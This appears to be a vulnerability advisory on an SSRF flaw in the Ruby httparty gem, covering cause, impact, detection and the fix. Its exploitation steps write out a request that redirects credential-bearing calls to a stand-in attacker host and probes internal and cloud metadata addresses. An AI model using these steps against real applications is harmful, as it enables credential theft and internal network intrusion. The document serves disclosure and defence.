CVE-2025-68696: 
Ruby vulnerability analysis and mitigation

CVE-2025-68696 is a Server-Side Request Forgery (SSRF) vulnerability in the Ruby gem httparty that allows attackers to redirect HTTP requests — along with any configured API keys or credentials — to unintended hosts. It affects all versions of httparty up to and including 0.23.2 (i.e., versions < 0.24.0). The vulnerability was disclosed and patched on December 23, 2025. It carries a CVSS v3.1 base score of 8.2 (High) and a CVSS v4.0 base score of 7.8 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause (CWE-918: Server-Side Request Forgery) lies in how httparty resolves the path argument: when an absolute URL is passed as the path, the library ignores the configured base_uri and sends the request — including all configured headers such as X-API-KEY — directly to the host specified in the absolute URL. This behavior means any application that passes user-controlled input as the path argument to an httparty client configured with base_uri and sensitive headers is exploitable without authentication or special privileges. The fix, implemented in commit 0529bcd, introduces a validate_uri_safety! method that raises an UnsafeURIError when the host of an absolute path URL does not match the configured base_uri host; a skip_uri_validation: true option is provided for legitimate cross-host use cases (GitHub Advisory, Patch Commit).

Successful exploitation can result in leakage of API keys and other sensitive credentials configured in httparty headers, as those headers are forwarded to the attacker-controlled host. Additionally, attackers can force the vulnerable application to issue requests to internal network services that are not directly accessible from the internet, enabling reconnaissance of internal infrastructure and potential lateral movement. The vulnerability has high confidentiality impact and low integrity impact, with no availability impact (GitHub Advisory, Red Hat Bugzilla).

A proof-of-concept (PoC) exploit is publicly available in the GitHub security advisory, demonstrating the bypass with a simple Ruby script. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.041% (0.068% per GitHub Advisory), placing it in the 21st percentile for exploitation likelihood. No specific threat actor attribution has been reported (GitHub Advisory, Feedly).

1. Identify a vulnerable application: Find a Ruby web application using httparty version ≤ 0.23.2 that configures base_uri with sensitive headers (e.g., X-API-KEY) and passes user-supplied input as the path argument to an httparty request method.
2. Set up an attacker-controlled server: Deploy an HTTP server (e.g., python -m http.server 10002) capable of logging incoming requests and headers.
3. Craft a malicious request: Send a request to the vulnerable application endpoint with an absolute URL pointing to the attacker-controlled server as the path parameter. For example:

   POST /issue HTTP/1.1
   Host: target-app.example.com
   Content-Type: application/json
   
   {"repository_id": "http://attacker.test"}

4. Capture leaked credentials: The vulnerable application calls RepositoryClient.get("http://attacker.test"), which httparty resolves as an absolute URL, bypassing base_uri and forwarding all configured headers (including X-API-KEY) to the attacker's server.
5. Pivot to internal services: Replace the attacker URL with internal network addresses (e.g., http://192.168.1.10/admin) to probe internal services, metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/), or other restricted resources (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from the application server to external or unusual internal IP addresses/hostnames; requests to cloud metadata endpoints (e.g., 169.254.169.254) originating from the application process.
• Logs: Application logs showing httparty requests to hosts that differ from the configured base_uri; web server access logs with absolute URLs in path parameters (e.g., repository_id=http://...).
• Application Errors: After patching to 0.24.0, logs may show HTTParty::UnsafeURIError exceptions, which can indicate attempted exploitation of the vulnerability.
• Credential Abuse: Unexpected or unauthorized use of API keys associated with the application from unfamiliar IP addresses or geographic locations, suggesting credential leakage (GitHub Advisory, Patch Commit).

Upgrade httparty to version 0.24.0 or later, which introduces host validation that raises HTTParty::UnsafeURIError when an absolute URL path does not match the configured base_uri host. As an interim workaround for applications that cannot immediately upgrade, developers should validate and sanitize any user-supplied input before passing it as the path argument to httparty, ensuring it is always a relative path. Additionally, rotate any API keys or credentials that may have been exposed through systems running vulnerable versions, and review network access logs for suspicious outbound requests (GitHub Advisory, Patch Commit).

The vulnerability was reported by researcher lambdasawa and analyzed by ashkulz, with the advisory published by the httparty maintainer (jnunemaker) on December 23, 2025. Red Hat tracked the issue via Bugzilla and assigned it high severity. The fix was co-authored with Claude (Anthropic's AI coding assistant), which was noted in the commit message. Community coverage was limited to vulnerability aggregators and security feeds, with no major media coverage or significant social media discussion observed (GitHub Advisory, Red Hat Bugzilla).